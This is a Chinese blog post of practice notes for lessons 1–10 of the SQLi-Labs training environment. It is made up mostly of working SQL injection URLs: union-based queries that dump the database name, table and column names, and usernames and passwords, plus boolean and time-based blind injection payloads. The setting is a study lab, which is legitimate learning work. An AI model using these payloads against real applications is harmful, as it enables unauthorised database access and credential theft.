SQLi-Lab练习笔记(1-10)

Lesson 1字符串注入

验证SQL注入:

http://10.10.10.133:8080/Less-1/?id=1’ and ‘1’=‘1
http://10.10.10.133:8080/Less-1/?id=1’ and ‘1’='2

在这里插入图片描述

在这里插入图片描述
exp:
获取数据库信息:

http://10.10.10.133:8080/Less-1/?id=1’ order by 4 %23 //从order by 1到4,得到报错,说明select了三个字段
http://10.10.10.133:8080/Less-1/?id=0’ union select 1,database(),user() %23 //获取数据库名和用户
http://10.10.10.133:8080/Less-1/?id=0’ union select 1,version(),3 %23 //获取数据库版本
http://10.10.10.133:8080/Less-1/?id=0’ union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,1%23 //获取数据库中表名,修改limit 1,1可遍历表名

获取数据库内容:

http://10.10.10.133:8080/Less-1/?id=0’ union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name=“users” limit 1,1%23 //遍历users表字段名
http://10.10.10.133:8080/Less-1/?id=0’ union select 1,username, password from users limit 1,1%23 //获取字段值

在这里插入图片描述

Lesson 2整型注入

和Lesson 1类似

验证漏洞:

http://10.10.10.133:8080/Less-2/?id=1 and 1=1
http://10.10.10.133:8080/Less-2/?id=1 and 1=2

exp:

http://10.10.10.133:8080/Less-2/?id=0 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1 %23
http://10.10.10.133:8080/Less-2/?id=0 union select 1,username,password from users limit 1,1 %23

Lesson 3查询字段被括号包裹

源码中的写法如下:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

这里我修改了源码,使SQL语句可以回显。而这里我通过黑盒测试的过程中发现一个之前没注意到的地方,这也刚好是用括号包裹查询字段的原因所在吧:
以此使用以下三个Payload:

http://10.10.10.133:8080/Less-3/?id=1%2527 %23
http://10.10.10.133:8080/Less-3/?id=2%2527 %23
http://10.10.10.133:8080/Less-3/?id=1%2523 %23

最终得到执行的SQL语句如下:

SELECT * FROM users WHERE id=('1%27 #') LIMIT 0,1
SELECT * FROM users WHERE id=('2%27 #') LIMIT 0,1
SELECT * FROM users WHERE id=('1%23 #') LIMIT 0,1

执行结果如下图,以上三条语句均能够正常解释,可见尽管括号里有一个注释符#依然不影响语句执行到后面的LIMIT,而且根据id=('1%27 #')id=('2%27 #')的结果来猜测,这里肯定只截取了数字进行等号的判断,类似与PHP里面的==弱类型判断结果
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
exp:
构造思路就是闭合掉(',如下:

http://10.10.10.133:8080/Less-3/?id=’) union select 1,database(),user() %23
剩下的步骤与前文类似

Lesson 4双引号

根据回显信息可以看到有右括号和双引号:
在这里插入图片描述

exp:
闭合("

http://10.10.10.133:8080/Less-4/?id=") union select 1,database(),user() %23

Lesson 5单引号无回显字段

即使成功查出结果也没有直接暴露数据,而是输出You are in…,但还是采用弱鸡的单引号闭合,考虑基于布尔的盲注。
exp:

http://10.10.10.133:8080/Less-5/?id=1’ and length(database())=8 %23 //确定数据库名长度,可以使用>或<搭配二分的方法更快确定长度
http://10.10.10.133:8080/Less-5/?id=1’ and ascii(mid(database(), 1, 1))=ascii(‘s’) %23 //挨个字母和数字遍历,或者二分,确定数据库名第一个字符,这里可以把ascii替换成ord或者把mid替换成substr或者使用left来截取字符串
http://10.10.10.133:8080/Less-5/?id=1’ and ascii(mid((select username from users limit 0,1), 1, 1))=ascii(‘D’) %23 //终极Payload获取到表中字段值

盲注的过程大多是先确定长度,再确定每个位置上的字符,按照数据库名、表名、表字段的顺序递进

Lesson 6双引号无回显字段

还是熟悉的配方,把单引号换双引号:

http://10.10.10.133:8080/Less-6/?id=1" and length(database())=8 %23
http://10.10.10.133:8080/Less-6/?id=1" and ascii(mid(database(), 1, 1))=ascii(“s”) %23

Lesson 7双层括号无回显字段

试了很久决定看源码了,竟然用双层括号包裹,而且use outfile…好像没有关联
构造闭合,exp:

http://10.10.10.133:8080/Less-7/?id=1’)) and length(database())=8 %23
http://10.10.10.133:8080/Less-7/?id=1’)) and ascii(mid(database(), 1, 1))=ascii(“s”) %23

Lesson 8 和Lesson 5一样

Lesson 9单引号时间盲注

配合if(a,b,c)和sleep(s)函数来完成基础的时间盲注。两个函数分别表示如果a成真,则执行b并返回,否则执行c并返回和休眠s秒。
exp:

http://10.10.10.133:8080/Less-9/?id=1’ and if(length(database())=8, sleep(5), 1) %23 //获取数据库名长度
http://10.10.10.133:8080/Less-9/?id=1’ and if(ascii(substr(database(),1,1))=ascii(‘s’), sleep(5), 1) %23 //判断数据库第一个字符
http://10.10.10.133:8080/Less-9/?id=1’ and if(ascii(substr((select username from users limit 0,1),1,1))=ascii(‘D’), sleep(5), 1) %23 //获取数据表中字段值

Lesson 10双引号时间盲注

和上一节类似,闭合双引号即可:

http://10.10.10.133:8080/Less-10/?id=1" and if(ascii(substr((select username from users limit 0,1),1,1))=ascii(“D”), sleep(5), 1) %23 //获取数据表中的值

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值